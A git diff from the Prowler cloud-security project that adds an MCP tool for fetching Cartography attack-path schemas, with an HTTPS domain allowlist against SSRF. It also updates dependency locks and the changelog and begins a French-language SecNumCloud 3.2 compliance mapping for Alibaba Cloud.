AttackPathQuery, AttackPathQueryResult, AttackPathScansListResponse, @@ -225,3 +226,53 @@ class AttackPathsTools(BaseTool): f"Failed to run attack paths query '{query_id}' on scan {scan_id}: {e}" ) return {"error": f"Failed to run attack paths query '{query_id}': {str(e)}"} + + async def get_attack_paths_cartography_schema( + self, + scan_id: str = Field( + description="UUID of a COMPLETED attack paths scan. Use `prowler_app_list_attack_paths_scans` with state=['completed'] to find scan IDs" + ), + ) -> dict[str, Any]: + """Retrieve the Cartography graph schema for a completed attack paths scan. + + This tool fetches the full Cartography schema (node labels, relationships, + and properties) so the LLM can write accurate custom openCypher queries + for attack paths analysis. + + Two-step flow: + 1. Calls the Prowler API to get schema metadata (provider, version, URLs) + 2. Fetches the raw Cartography schema markdown from GitHub + + Returns: + - id: Schema resource identifier + - provider: Cloud provider type + - cartography_version: Schema version + - schema_url: GitHub page URL for reference + - raw_schema_url: Raw markdown URL + - schema_content: Full Cartography schema markdown with node/relationship definitions + + Workflow: + 1. Use prowler_app_list_attack_paths_scans to find a completed scan + 2. Use this tool to get the schema for the scan's provider + 3. Use the schema to craft custom openCypher queries + 4. Execute queries with prowler_app_run_attack_paths_query + """ + try: + api_response = await self.api_client.get( + f"/attack-paths-scans/{scan_id}/schema" + ) + + schema = AttackPathCartographySchema.from_api_response(api_response) + + schema_content = await self.api_client.fetch_external_url( + schema.raw_schema_url + ) + + return schema.model_copy( + update={"schema_content": schema_content} + ).model_dump() + except Exception as e: + self.logger.error( + f"Failed to get cartography schema for scan {scan_id}: {e}" + ) + return {"error": f"Failed to get cartography schema: {str(e)}"} diff --git a/mcp_server/prowler_mcp_server/prowler_app/utils/api_client.py b/mcp_server/prowler_mcp_server/prowler_app/utils/api_client.py index 43a7e59a42..4b6d0e77f5 100644 --- a/mcp_server/prowler_mcp_server/prowler_app/utils/api_client.py +++ b/mcp_server/prowler_mcp_server/prowler_app/utils/api_client.py @@ -4,11 +4,15 @@ import asyncio from datetime import datetime, timedelta from enum import Enum from typing import Any, Dict +from urllib.parse import urlparse import httpx +from prowler_mcp_server import __version__ from prowler_mcp_server.lib.logger import logger from prowler_mcp_server.prowler_app.utils.auth import ProwlerAppAuth +ALLOWED_EXTERNAL_DOMAINS: frozenset[str] = frozenset({"raw.githubusercontent.com"}) + class HTTPMethod(str, Enum): """HTTP methods enum.""" @@ -187,6 +191,47 @@ class ProwlerAPIClient(metaclass=SingletonMeta): """ return await self._make_request(HTTPMethod.DELETE, path, params=params) + async def fetch_external_url(self, url: str) -> str: + """Fetch content from an allowed external URL (unauthenticated). + + Uses the existing singleton httpx client with a domain allowlist + to prevent SSRF attacks. + + Args: + url: The external URL to fetch content from + + Returns: + Raw text content from the URL + + Raises: + ValueError: If the URL domain is not in the allowlist + Exception: If the HTTP request fails + """ + parsed = urlparse(url) + if parsed.scheme != "https": + raise ValueError(f"Only HTTPS URLs are allowed, got '{parsed.scheme}'") + if parsed.hostname not in ALLOWED_EXTERNAL_DOMAINS: + raise ValueError( + f"Domain '{parsed.hostname}' is not allowed. " + f"Allowed domains: {', '.join(sorted(ALLOWED_EXTERNAL_DOMAINS))}" + ) + + try: + response = await self.client.get( + url, + headers={"User-Agent": f"prowler-mcp-server/{__version__}"}, + ) + response.raise_for_status() + return response.text + except httpx.HTTPStatusError as e: + logger.error(f"HTTP error fetching external URL {url}: {e}") + raise Exception( + f"Failed to fetch external URL: {e.response.status_code}" + ) from e + except Exception as e: + logger.error(f"Error fetching external URL {url}: {e}") + raise + async def poll_task_until_complete( self, task_id: str, diff --git a/mcp_server/pyproject.toml b/mcp_server/pyproject.toml index 2cfb14e671..4ea4a9859e 100644 --- a/mcp_server/pyproject.toml +++ b/mcp_server/pyproject.toml @@ -11,7 +11,7 @@ description = "MCP server for Prowler ecosystem" name = "prowler-mcp" readme = "README.md" requires-python = ">=3.12" -version = "0.4.0" +version = "0.5.0" [project.scripts] prowler-mcp = "prowler_mcp_server.main:main" diff --git a/mcp_server/uv.lock b/mcp_server/uv.lock index f98c2eaa57..31e4dd84d6 100644 --- a/mcp_server/uv.lock +++ b/mcp_server/uv.lock @@ -717,7 +717,7 @@ wheels = [ [[package]] name = "prowler-mcp" -version = "0.3.0" +version = "0.5.0" source = { editable = "." } dependencies = [ { name = "fastmcp" }, diff --git a/poetry.lock b/poetry.lock index 73ac5542c0..553a67322f 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1,4 +1,4 @@ -# This file is automatically @generated by Poetry 2.3.0 and should not be changed by hand. +# This file is automatically @generated by Poetry 2.1.2 and should not be changed by hand. [[package]] name = "about-time" @@ -1908,7 +1908,6 @@ files = [ {file = "colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6"}, {file = "colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44"}, ] -markers = {dev = "platform_system == \"Windows\" or sys_platform == \"win32\""} [[package]] name = "contextlib2" @@ -2152,24 +2151,6 @@ files = [ {file = "defusedxml-0.7.1.tar.gz", hash = "sha256:1bb3032db185915b62d7c6209c5a8792be6a32ab2fedacc84e01b52c51aa3e69"}, ] -[[package]] -name = "deprecated" -version = "1.2.18" -description = "Python @deprecated decorator to deprecate old python classes, functions or methods." -optional = false -python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,>=2.7" -groups = ["main"] -files = [ - {file = "Deprecated-1.2.18-py2.py3-none-any.whl", hash = "sha256:bd5011788200372a32418f888e326a09ff80d0214bd961147cfed01b5c018eec"}, - {file = "deprecated-1.2.18.tar.gz", hash = "sha256:422b6f6d859da6f2ef57857761bfb392480502a64c3028ca9bbe86085d72115d"}, -] - -[package.dependencies] -wrapt = ">=1.10,<2" - -[package.extras] -dev = ["PyTest", "PyTest-Cov", "bump2version (<1)", "setuptools ; python_version >= \"3.12\"", "tox"] - [[package]] name = "detect-secrets" version = "1.5.0" @@ -3156,7 +3137,7 @@ files = [ [package.dependencies] attrs = ">=22.2.0" -jsonschema-specifications = ">=2023.3.6" +jsonschema-specifications = ">=2023.03.6" referencing = ">=0.28.4" rpds-py = ">=0.7.1" @@ -3265,7 +3246,7 @@ files = [ ] [package.dependencies] -certifi = ">=14.5.14" +certifi = ">=14.05.14" durationpy = ">=0.7" google-auth = ">=1.0.1" oauthlib = ">=3.2.2" @@ -4875,7 +4856,7 @@ description = "C parser in Python" optional = false python-versions = ">=3.8" groups = ["main", "dev"] -markers = "platform_python_implementation != \"PyPy\" and implementation_name != \"PyPy\"" +markers = "implementation_name != \"PyPy\" and platform_python_implementation != \"PyPy\"" files = [ {file = "pycparser-2.22-py3-none-any.whl", hash = "sha256:c3702b6d3dd8c7abc1afa565d7e63d53a1d0bd86cdc24edd75470f4de499cfcc"}, {file = "pycparser-2.22.tar.gz", hash = "sha256:491c8be9c040f5390f5bf44a5b07752bd07f56edf992381b05c701439eec10f6"}, @@ -5051,22 +5032,21 @@ files = [ [[package]] name = "pygithub" -version = "2.5.0" +version = "2.8.0" description = "Use the full Github API v3" optional = false python-versions = ">=3.8" groups = ["main"] files = [ - {file = "PyGithub-2.5.0-py3-none-any.whl", hash = "sha256:b0b635999a658ab8e08720bdd3318893ff20e2275f6446fcf35bf3f44f2c0fd2"}, - {file = "pygithub-2.5.0.tar.gz", hash = "sha256:e1613ac508a9be710920d26eb18b1905ebd9926aa49398e88151c1b526aad3cf"}, + {file = "pygithub-2.8.0-py3-none-any.whl", hash = "sha256:11a3473c1c2f1c39c525d0ee8c559f369c6d46c272cb7321c9b0cabc7aa1ce7d"}, + {file = "pygithub-2.8.0.tar.gz", hash = "sha256:72f5f2677d86bc3a8843aa720c6ce4c1c42fb7500243b136e3d5e14ddb5c3386"}, ] [package.dependencies] -Deprecated = "*" pyjwt = {version = ">=2.4.0", extras = ["crypto"]} pynacl = ">=1.4.0" requests = ">=2.14.0" -typing-extensions = ">=4.0.0" +typing-extensions = ">=4.5.0" urllib3 = ">=1.26.0" [[package]] @@ -5118,7 +5098,7 @@ files = [ ] [package.dependencies] -astroid = ">=3.3.8,<=3.4.0.dev0" +astroid = ">=3.3.8,<=3.4.0-dev0" colorama = {version = ">=0.4.5", markers = "sys_platform == \"win32\""} dill = [ {version = ">=0.2", markers = "python_version < \"3.11\""}, @@ -5965,10 +5945,10 @@ files = [ ] [package.dependencies] -botocore = ">=1.37.4,<2.0a0" +botocore = ">=1.37.4,<2.0a.0" [package.extras] -crt = ["botocore[crt] (>=1.37.4,<2.0a0)"] +crt = ["botocore[crt] (>=1.37.4,<2.0a.0)"] [[package]] name = "safety" @@ -6520,7 +6500,7 @@ version = "1.17.2" description = "Module for decorators, wrappers and monkey patching." optional = false python-versions = ">=3.8" -groups = ["main", "dev"] +groups = ["dev"] files = [ {file = "wrapt-1.17.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:3d57c572081fed831ad2d26fd430d565b76aa277ed1d30ff4d40670b1c0dd984"}, {file = "wrapt-1.17.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:b5e251054542ae57ac7f3fba5d10bfff615b6c2fb09abeb37d2f1463f841ae22"}, @@ -6906,4 +6886,4 @@ files = [ [metadata] lock-version = "2.1" python-versions = ">3.9.1,<3.13" -content-hash = "386f6cf2bed49290cc4661aa2093ceb018aa6cdaf6864bdfab36f6c2c50e241e" +content-hash = "fa67f98ae1b75ec5a54d1d6a1c33c5412d888ec60cf35fc407606dc48329c0bf" diff --git a/prowler/CHANGELOG.md b/prowler/CHANGELOG.md index b44c817698..dd17332f96 100644 --- a/prowler/CHANGELOG.md +++ b/prowler/CHANGELOG.md @@ -2,15 +2,53 @@ All notable changes to the **Prowler SDK** are documented in this file. -## [5.20.0] (Prowler UNRELEASED) +## [5.21.0] (Prowler v5.21.0) ### 🚀 Added -- `entra_conditional_access_policy_approved_client_app_required_for_mobile` check for m365 provider [(#10216)](https://github.com/prowler-cloud/prowler/pull/10216) +- `misconfig` scanner as default for Image provider scans [(#10167)](https://github.com/prowler-cloud/prowler/pull/10167) +- `entra_conditional_access_policy_device_code_flow_blocked` check for M365 provider [(#10218)](https://github.com/prowler-cloud/prowler/pull/10218) +- RBI compliance for the Azure provider [(#10339)](https://github.com/prowler-cloud/prowler/pull/10339) +-`entra_conditional_access_policy_require_mfa_for_admin_portals` check for Azure provider and update CIS compliance [(#10330)](https://github.com/prowler-cloud/prowler/pull/10330) +- CheckMetadata Pydantic validators [(#8583)](https://github.com/prowler-cloud/prowler/pull/8583) +- `organization_repository_deletion_limited` check for GitHub provider [(#10185)](https://github.com/prowler-cloud/prowler/pull/10185) +- SecNumCloud 3.2 for the GCP provider [(#10364)](https://github.com/prowler-cloud/prowler/pull/10364) +- SecNumCloud 3.2 for the Azure provider [(#10358)](https://github.com/prowler-cloud/prowler/pull/10358) +- SecNumCloud 3.2 for the Alibaba Cloud provider [(#10370)](https://github.com/prowler-cloud/prowler/pull/10370) +- SecNumCloud 3.2 for the Oracle Cloud provider [(#10371)](https://github.com/prowler-cloud/prowler/pull/10371) + +### 🔄 Changed + +- Bump `pygithub` from 2.5.0 to 2.8.0 to use native Organization properties +- Update M365 SharePoint service metadata to new format [(#9684)](https://github.com/prowler-cloud/prowler/pull/9684) +- Update M365 Exchange service metadata to new format [(#9683)](https://github.com/prowler-cloud/prowler/pull/9683) +- Update M365 Teams service metadata to new format [(#9685)](https://github.com/prowler-cloud/prowler/pull/9685) +- Update M365 Entra ID service metadata to new format [(#9682)](https://github.com/prowler-cloud/prowler/pull/9682) +- Update ResourceType and Categories for Azure Entra ID service metadata [(#10334)](https://github.com/prowler-cloud/prowler/pull/10334) +- Update OCI Regions to include US DoD regions [(#10375)](https://github.com/prowler-cloud/prowler/pull/10376) + +### 🐞 Fixed + +- Route53 dangling IP check false positive when using `--region` flag [(#9952)](https://github.com/prowler-cloud/prowler/pull/9952) +- RBI compliance framework support on Prowler Dashboard for the Azure provider [(#10360)](https://github.com/prowler-cloud/prowler/pull/10360) +- CheckMetadata strict validators rejecting valid external tool provider data (image, iac, llm) [(#10363)](https://github.com/prowler-cloud/prowler/pull/10363) + +### 🔐 Security + +- Bump `multipart` to 1.3.1 to fix [GHSA-p2m9-wcp5-6qw3](https://github.com/defnull/multipart/security/advisories/GHSA-p2m9-wcp5-6qw3) [(#10331)](https://github.com/prowler-cloud/prowler/pull/10331) + +--- + +## [5.20.0] (Prowler v5.20.0) + +### 🚀 Added + +- `entra_conditional_access_policy_approved_client_app_required_for_mobile` check for M365 provider [(#10216)](https://github.com/prowler-cloud/prowler/pull/10216) - `entra_conditional_access_policy_compliant_device_hybrid_joined_device_mfa_required` check for M365 provider [(#10197)](https://github.com/prowler-cloud/prowler/pull/10197) -- Add `trusted_ips` configurable option to `opensearch_service_domains_not_publicly_accessible` check to reduce false positives on IP-restricted policies [(#8631)](https://github.com/prowler-cloud/prowler/pull/8631) +- `trusted_ips` configurable option for `opensearch_service_domains_not_publicly_accessible` check to reduce false positives on IP-restricted policies [(#8631)](https://github.com/prowler-cloud/prowler/pull/8631) - `guardduty_delegated_admin_enabled_all_regions` check for AWS provider [(#9867)](https://github.com/prowler-cloud/prowler/pull/9867) - OpenStack object storage service with 7 checks [(#10258)](https://github.com/prowler-cloud/prowler/pull/10258) +- AWS Organizations OU metadata (OU ID, OU path) in ASFF, OCSF and CSV outputs [(#10283)](https://github.com/prowler-cloud/prowler/pull/10283) ### 🔄 Changed diff --git a/prowler/compliance/alibabacloud/secnumcloud_3.2_alibabacloud.json b/prowler/compliance/alibabacloud/secnumcloud_3.2_alibabacloud.json new file mode 100644 index 0000000000..e71dc8b869 --- /dev/null +++ b/prowler/compliance/alibabacloud/secnumcloud_3.2_alibabacloud.json @@ -0,0 +1,1432 @@ +{ + "Framework": "SecNumCloud", + "Name": "SecNumCloud Referentiel d'Exigences v3.2", + "Version": "3.2", + "Provider": "AlibabaCloud", + "Description": "The SecNumCloud framework is published by ANSSI (Agence Nationale de la Securite des Systemes d'Information) to qualify cloud service providers operating in France. Version 3.2, dated March 8, 2022, covers IaaS, CaaS, PaaS, and SaaS services with requirements spanning information security policies, access control, cryptography, physical security, operational security, communications security, and data sovereignty protections against extra-European law.", + "Requirements": [ + { + "Id": "5.1", + "Description": "Le prestataire doit definir et appliquer des principes de securite de l'information adaptes a ses activites de fourniture de services cloud.", + "Name": "Principes", + "Attributes": [ + { + "Section": "5. Politiques de securite de l'information et gestion du risque", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit operer la prestation a l'etat de l'art pour le type d'activite retenu : utiliser des logiciels stables beneficiant d'un suivi des correctifs de securite et parametres de facon a obtenir un niveau de securite optimal. b) Le prestataire doit appliquer le guide d'hygiene informatique de l'ANSSI [HYGIENE], niveau renforce, au systeme d'information du service." + } + ], + "Checks": [] + }, + { + "Id": "5.2", + "Description": "Le prestataire doit definir, faire approuver par la direction, publier et communiquer aux salaries et aux tiers concernes un ensemble de politiques de securite de l'information.", + "Name": "Politique de securite de l'information", + "Attributes": [ + { + "Section": "5. Politiques de securite de l'information et gestion du risque", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une politique de securite de l'information relative au service. b) La politique de securite de l'information doit identifier les engagements du prestataire quant au respect de la legislation et reglementation nationale en vigueur selon la nature des informations qui pourraient etre confiees par le commanditaire au prestataire ; il revient en revanche in fine au commanditaire de s'assurer du respect des contraintes legales et reglementaires applicables aux donnees qu'il confie effectivement au prestataire. c) La politique de securite de l'information doit notamment couvrir les themes abordes aux chapitres 6 a 19 du present referentiel. d) La direction du prestataire doit approuver formellement la politique de securite de l'information. e) Le prestataire doit reviser annuellement la politique de securite de l'information et a chaque changement majeur pouvant avoir un impact sur le service." + } + ], + "Checks": [] + }, + { + "Id": "5.3", + "Description": "Le prestataire doit definir et appliquer un processus d'appreciation des risques de securite de l'information.", + "Name": "Appreciation des risques", + "Attributes": [ + { + "Section": "5. Politiques de securite de l'information et gestion du risque", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter une appreciation des risques couvrant l'ensemble du perimetre du service. b) Le prestataire doit realiser son appreciation de risques en utilisant une methode documentee garantissant la reproductibilite et comparabilite de la demarche. c) Le prestataire doit prendre en compte dans l'appreciation des risques : la gestion d'informations du commanditaire ayant des besoins de securite differents ; les risques ayant des impacts sur les droits et libertes des personnes concernees en cas d'acces non autorise, de modification non desiree et de disparition de donnees a caractere personnel ; les risques de defaillance des mecanismes de cloisonnement des ressources de l'infrastructure technique (memoire, calcul, stockage, reseau) partagees entre les commanditaires ; les risques lies a l'effacement incomplet ou non securise des donnees stockees sur les espaces de memoire ou de stockage partages entre commanditaires, en particulier lors des reallocations des espaces de memoire et de stockage ; les risques lies a l'exposition des interfaces d'administration sur un reseau public ; les risques d'atteinte a la confidentialite des donnees des commanditaires par des tiers impliques dans la fourniture du service (fournisseurs, sous-traitants, etc.) ; les risques lies aux evenements naturels et sinistres physiques ; les risques lies a la separation des taches (voir 6.2.a) ; les risques lies aux environnements de developpement (voir 14.4.b). d) Le prestataire doit lister, dans un document specifique, les risques residuels lies a l'existence de lois extra-europeennes ayant pour objectif la collecte de donnees ou metadonnees des commanditaires sans leur consentement prealable. e) Le prestataire doit mettre a la disposition du commanditaire, sur demande de celui-ci, les elements d'appreciation des risques lies a la soumission des donnees du commanditaire au droit d'un etat non-membre de l'Union Europeenne. f) Lorsqu'il existe des exigences legales, reglementaires ou sectorielles specifiques liees aux types d'informations confiees par le commanditaire au prestataire, ce dernier doit les prendre en compte dans son appreciation des risques en s'assurant de respecter l'ensemble des exigences du present referentiel d'une part et de ne pas abaisser le niveau de securite etabli par le respect des exigences du present referentiel d'autre part. g) La direction du prestataire doit accepter formellement les risques residuels identifies dans l'appreciation des risques. h) Le prestataire doit reviser annuellement l'appreciation des risques et a chaque changement majeur pouvant avoir un impact sur le service." + } + ], + "Checks": [] + }, + { + "Id": "6.1", + "Description": "Le prestataire doit definir et attribuer toutes les responsabilites en matiere de securite de l'information.", + "Name": "Fonctions et responsabilites liees a la securite de l'information", + "Attributes": [ + { + "Section": "6. Organisation de la securite de l'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une organisation interne de la securite pour assurer la definition, la mise en place et le suivi du fonctionnement operationnel de la securite de l'information au sein de son organisation. b) Le prestataire doit designer un responsable de la securite des systemes d'information et un responsable de la securite physique. c) Le prestataire doit definir et attribuer les responsabilites en matiere de securite de l'information pour le personnel implique dans la fourniture du service. d) Le prestataire doit s'assurer apres tout changement majeur pouvant avoir un impact sur le service que l'attribution des responsabilites en matiere de securite de l'information est toujours pertinente. e) Le prestataire doit definir et attribuer les responsabilites en matiere de protection de donnees a caractere personnel, en coherence avec son role dans les traitements de donnees a caractere personnel (responsable de traitement, sous-traitant ou co-responsable). f) Le prestataire doit, lorsqu'il traite un grand nombre de donnees parmi lesquelles figurent des categories particulieres de donnees a caractere personnel telles que definies dans [RGPD], designer un delegue a la protection des donnees. g) Il est recommande que le prestataire, quel que soit le volume de donnees a caractere personnel qu'il traite, designe un delegue a la protection des donnees. h) Le prestataire doit realiser ou contribuer a la realisation d'une analyse d'impact relative a la protection des donnees a caractere personnel lorsque le traitement est susceptible d'engendrer un risque eleve pour les droits et libertes des personnes concernees (traitement de categories particulieres de donnees a caractere personnel telles que definies dans [RGPD], traitement de donnees a grande echelle, etc.). Cette analyse doit comporter une evaluation juridique du respect des principes et droits fondamentaux, ainsi qu'une etude plus technique des mesures techniques mises en oeuvre pour proteger les personnes des risques pour leur vie privee." + } + ], + "Checks": [] + }, + { + "Id": "6.2", + "Description": "Le prestataire doit separer les taches et les domaines de responsabilite incompatibles afin de reduire les possibilites de modification non autorisee ou de mauvais usage des actifs.", + "Name": "Separation des taches", + "Attributes": [ + { + "Section": "6. Organisation de la securite de l'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit identifier les risques associes a des cumuls de responsabilites ou de taches, les prendre en compte dans l'appreciation des risques et mettre en oeuvre des mesures de reduction de ces risques." + } + ], + "Checks": [] + }, + { + "Id": "6.3", + "Description": "Le prestataire doit etablir et maintenir des relations appropriees avec les autorites competentes.", + "Name": "Relations avec les autorites", + "Attributes": [ + { + "Section": "6. Organisation de la securite de l'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Il est recommande que le prestataire mette en place des relations appropriees avec les autorites competentes en matiere de securite de l'information et de donnees a caractere personnel et, le cas echeant, avec les autorites sectorielles selon la nature des informations confiees par le commanditaire au prestataire." + } + ], + "Checks": [] + }, + { + "Id": "6.4", + "Description": "Le prestataire doit etablir et maintenir des relations appropriees avec des groupes de travail specialises, des associations professionnelles ou des forums traitant de la securite.", + "Name": "Relations avec les groupes de travail specialises", + "Attributes": [ + { + "Section": "6. Organisation de la securite de l'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Il est recommande que le prestataire entretienne des contacts appropries avec des groupes de specialistes ou des sources reconnues, notamment pour prendre en compte de nouvelles menaces et les mesures de securite appropriees pour les contrer." + } + ], + "Checks": [] + }, + { + "Id": "6.5", + "Description": "Le prestataire doit integrer la securite de l'information dans la gestion de projet, quel que soit le type de projet.", + "Name": "La securite de l'information dans la gestion de projet", + "Attributes": [ + { + "Section": "6. Organisation de la securite de l'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter une estimation des risques prealablement a tout projet pouvant avoir un impact sur le service, et ce quelle que soit la nature du projet. b) Dans la mesure ou un projet affecte ou est susceptible d'affecter le niveau de securite du service, le prestataire doit avertir le commanditaire et l'informer par ecrit des impacts potentiels, des mesures mises en place pour reduire ces impacts ainsi que des risques residuels le concernant." + } + ], + "Checks": [] + }, + { + "Id": "7.1", + "Description": "Le prestataire doit s'assurer que les candidats a l'embauche font l'objet de verifications proportionnees aux exigences metier, a la classification des informations accessibles et aux risques identifies.", + "Name": "Selection des candidats", + "Attributes": [ + { + "Section": "7. Securite des ressources humaines", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure de verification des informations concernant son personnel conforme aux lois et reglements en vigueur. Ces verifications s'appliquent a toute personne impliquee dans la fourniture du service et doivent etre proportionnelles a la sensibilite ou a la specificite des informations du commanditaire confiees au prestataire ainsi qu'aux risques identifies. b) Pour les personnels disposant de privileges d'administration eleves sur les composants logiciels et materiels de l'infrastructure, le prestataire doit renforcer les verifications destinees a verifier que les antecedents de ceux-ci ne sont pas incompatibles avec l'exercice de leurs fonctions. Il est entendu par des privileges d'administration eleves, des actions permettant l'elevation de privileges ou la possibilite de realiser des actions sans traces techniques ou de desactiver, alterer les traces techniques." + } + ], + "Checks": [] + }, + { + "Id": "7.2", + "Description": "Les accords contractuels avec les salaries et les sous-traitants doivent preciser leurs responsabilites et celles du prestataire en matiere de securite de l'information.", + "Name": "Conditions d'embauche", + "Attributes": [ + { + "Section": "7. Securite des ressources humaines", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit disposer d'une charte d'ethique integree au reglement interieur, prevoyant notamment que : les prestations sont realisees avec loyaute, discretion et impartialite et dans des conditions de confidentialite des informations traitees ; les personnels ne recourent qu'aux methodes, outils et techniques valides par le prestataire ; les personnels s'engagent a ne pas divulguer d'informations a un tiers, meme anonymisees et decontextualisees, obtenues ou generees dans le cadre de la prestation sauf autorisation formelle et ecrite du commanditaire ; les personnels s'engagent a signaler au prestataire tout contenu manifestement illicite decouvert pendant la prestation ; les personnels s'engagent a respecter la legislation et la reglementation nationale en vigueur et les bonnes pratiques liees a leurs activites. b) Le prestataire doit faire signer la charte d'ethique a l'ensemble des personnes impliquees dans la fourniture du service. c) Le prestataire doit introduire, dans le contrat de travail des personnels disposant de privileges d'administration eleves sur les composants et materiels de l'infrastructure du service, un engagement de responsabilite avec un renvoi aux clauses du code du travail sur la protection du secret des affaires et de la propriete intellectuelle. Il est entendu par des privileges d'administration eleves, des actions permettant l'elevation de privileges ou la possibilite de realiser des actions sans traces techniques ou de desactiver, alterer les traces techniques. d) Le prestataire doit, sur demande d'un commanditaire, lui rendre accessible le reglement interieur et la charte d'ethique." + } + ], + "Checks": [] + }, + { + "Id": "7.3", + "Description": "Les salaries du prestataire et, le cas echeant, les sous-traitants doivent suivre un programme de sensibilisation et de formation adapte et regulier concernant la securite de l'information.", + "Name": "Sensibilisation, apprentissage et formations a la securite de l'information", + "Attributes": [ + { + "Section": "7. Securite des ressources humaines", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit sensibiliser a la securite de l'information et aux risques lies a la protection des donnees l'ensemble des personnes impliquees dans la fourniture du service. Il doit leur communiquer les mises a jour des politiques et procedures pertinentes dans le cadre de leurs missions. b) Le prestataire doit documenter et mettre en oeuvre un plan de formation concernant la securite de l'information adapte au service et aux missions des personnels. c) Le responsable de la securite des systemes d'information du prestataire doit valider formellement le plan de formation concernant la securite de l'information." + } + ], + "Checks": [] + }, + { + "Id": "7.4", + "Description": "Le prestataire doit mettre en place un processus disciplinaire formel et communique pour prendre des mesures a l'encontre des salaries ayant enfreint les regles de securite de l'information.", + "Name": "Processus disciplinaire", + "Attributes": [ + { + "Section": "7. Securite des ressources humaines", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre un processus disciplinaire applicable a l'ensemble des personnes impliquees dans la fourniture du service ayant enfreint la politique de securite. b) Le prestataire doit, sur demande d'un commanditaire, lui rendre accessible les sanctions encourues en cas d'infraction a la politique de securite." + } + ], + "Checks": [] + }, + { + "Id": "7.5", + "Description": "Les responsabilites et les obligations en matiere de securite de l'information qui restent valables apres un changement ou une rupture du contrat de travail doivent etre definies, communiquees au salarie ou au sous-traitant et appliquees.", + "Name": "Rupture, terme ou modification du contrat de travail", + "Attributes": [ + { + "Section": "7. Securite des ressources humaines", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit definir et attribuer les roles et les responsabilites relatives a la rupture, au terme ou a la modification de tout contrat avec une personne impliquee dans la fourniture du service." + } + ], + "Checks": [] + }, + { + "Id": "8.1", + "Description": "Le prestataire doit identifier les actifs associes a l'information et aux moyens de traitement de l'information et doit etablir et tenir a jour un inventaire de ces actifs.", + "Name": "Inventaire et propriete des actifs", + "Attributes": [ + { + "Section": "8. Gestion des actifs", + "Service": "securitycenter", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit tenir a jour l'inventaire de l'ensemble des equipements mettant en oeuvre le service. Cet inventaire doit preciser pour chaque equipement : les informations d'identification de l'equipement (noms, adresses IP, adresses MAC, etc.) ; la fonction de l'equipement ; le modele de l'equipement ; la localisation de l'equipement ; le proprietaire de l'equipement ; le besoin de securite des informations (au sens du chapitre 8.3). b) Le prestataire doit tenir a jour l'inventaire de l'ensemble des logiciels mettant en oeuvre le service. Cet inventaire doit identifier pour chaque logiciel, sa version et les equipements sur lesquels le logiciel est installe. c) Le prestataire doit s'assurer de la validite des licences des logiciels tout au long de la prestation." + } + ], + "Checks": [ + "securitycenter_all_assets_agent_installed" + ] + }, + { + "Id": "8.2", + "Description": "Les salaries et les utilisateurs de tiers doivent restituer tous les actifs du prestataire en leur possession au terme de la periode d'emploi, du contrat ou de l'accord.", + "Name": "Restitution des actifs", + "Attributes": [ + { + "Section": "8. Gestion des actifs", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure de restitution des actifs permettant de s'assurer que chaque personne impliquee dans la fourniture du service restitue l'ensemble des actifs en sa possession a la fin de sa periode d'emploi ou de son contrat." + } + ], + "Checks": [] + }, + { + "Id": "8.3", + "Description": "Les besoins de protection de la confidentialite, de l'integrite et de la disponibilite de l'information doivent etre identifies.", + "Name": "Identification des besoins de securite de l'information", + "Attributes": [ + { + "Section": "8. Gestion des actifs", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit identifier les differents besoins de securite des informations relatives au service. b) Lorsque le commanditaire confie au prestataire des donnees soumises a des contraintes legales, reglementaires ou sectorielles specifiques, le prestataire doit identifier les besoins de securite specifiques associes a ces contraintes." + } + ], + "Checks": [] + }, + { + "Id": "8.4", + "Description": "Un ensemble de procedures appropriees pour le marquage et la manipulation de l'information doit etre elabore et mis en oeuvre conformement au plan de classification adopte par le prestataire.", + "Name": "Marquage et manipulation de l'information", + "Attributes": [ + { + "Section": "8. Gestion des actifs", + "Service": "general", + "Type": "Manual", + "Comment": "a) Il est recommande que le prestataire documente et mette en oeuvre une procedure pour le marquage et la manipulation de toutes les informations participant a la delivrance du service, conformement a son besoin de securite defini au chapitre 8.3." + } + ], + "Checks": [] + }, + { + "Id": "8.5", + "Description": "Des procedures de gestion des supports amovibles doivent etre mises en oeuvre conformement au plan de classification adopte par le prestataire.", + "Name": "Gestion des supports amovibles", + "Attributes": [ + { + "Section": "8. Gestion des actifs", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure pour la gestion des supports amovibles, conformement au besoin de securite defini au chapitre 8.3. Lorsque des supports amovibles sont utilises sur l'infrastructure technique ou pour des taches d'administration, ces supports doivent etre dedies a un usage." + } + ], + "Checks": [] + }, + { + "Id": "9.1", + "Description": "Une politique de controle d'acces doit etre etablie, documentee et revue en se basant sur les exigences metier et les exigences de securite de l'information. Les regles de controle d'acces et les droits pour chaque utilisateur ou groupe d'utilisateurs doivent etre clairement definis.", + "Name": "Politiques et controle d'acces", + "Attributes": [ + { + "Section": "9. Controle d'acces et gestion des identites", + "Service": "ram", + "Type": "Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une politique de controle d'acces 